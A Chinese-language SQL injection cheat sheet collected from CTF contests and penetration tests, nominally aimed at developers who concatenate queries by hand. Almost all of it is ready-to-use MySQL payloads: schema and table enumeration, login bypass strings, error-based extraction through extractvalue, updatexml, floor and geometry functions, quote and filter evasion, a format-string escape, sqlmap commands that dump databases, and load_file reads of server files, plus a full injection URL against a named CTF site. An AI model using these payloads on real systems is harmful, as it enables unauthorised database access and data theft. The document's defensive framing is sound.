比赛、渗透所总结的数据库注入攻击技巧,如果您迫不得已打算手写拼接数据库语句,请务必做好过滤,防范以下的攻击,这是很基础的。
burp的爆破功能,使用wfuzz的sql字典
可以初步得知过滤的情况
SELECT database();
SELECT group_concat(schema_name) FROM information_schema.schemata;
UNION SELECT GROUP_CONCAT(TABLE_NAME) from information_schema.tables WHERE TABLE_SCHEMA=database()
UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename'
username='or'1&password='or'1 (处理引号:or')1.floor()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
2.extractvalue()
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
4.geometrycollection()
select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
5.multipoint()
select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
6.polygon()
select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
7.multipolygon()
select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
8.linestring()
select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
9.multilinestring()
select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
10.exp()
select * from test where id=1 and exp(~(select * from(select user())a));
MySQL基于时间盲注(Time-Based Blind SQL Injection)五种延时方法
宽字节
引号
-- hex 编码
SELECT * FROM Users WHERE username = 0x61646D696E
-- char() 函数
SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)
where !(table_schema<>database())where table_schema regexp database()where table_schema in (select database())where username like 'admin'0x0a,`%09’代替·mid(group_concat(column_name separatoorr '@')from(0)for(1) 代替 mid((select flag from flag limit 0,1)select(GROUP_CONCAT(TABLE_NAME))FROM(information_schema.tables)WHERE(TABLE_SCHEMA=database())/**/格式化字符串可以使单引号逃逸
发现方法: fuzz %
利用方法: %直接吃掉后面的\,但可能会报错,因为超过了给定的变量,解决方法,使用$
payload: %1$' or 1=1 #
基本使用
sqlmap -u 目标网址 --dbs
sqlmap -u 目标网址 --tables -D 数据库名
sqlmap -u 目标网址 --columns -T 表名 -D 数据库名
sqlmap -u 目标网址 --dump -C 字段名称 -T 表名 -D 数据库名
读文件
SELECT load_file('/var/www/html/f13g_ls_here.txt')
http://blog.q.2019.volgactf.ru/?s=)))+union+select+extractvalue(1,concat(0x3a,(select+flag+from+flag)))+%23%27)&exact=1&sentence=1不断增加过滤的规则,以黑名单的方式防范数据库注入,是很劳累的。可以参考这篇博文,有更方便的防护方法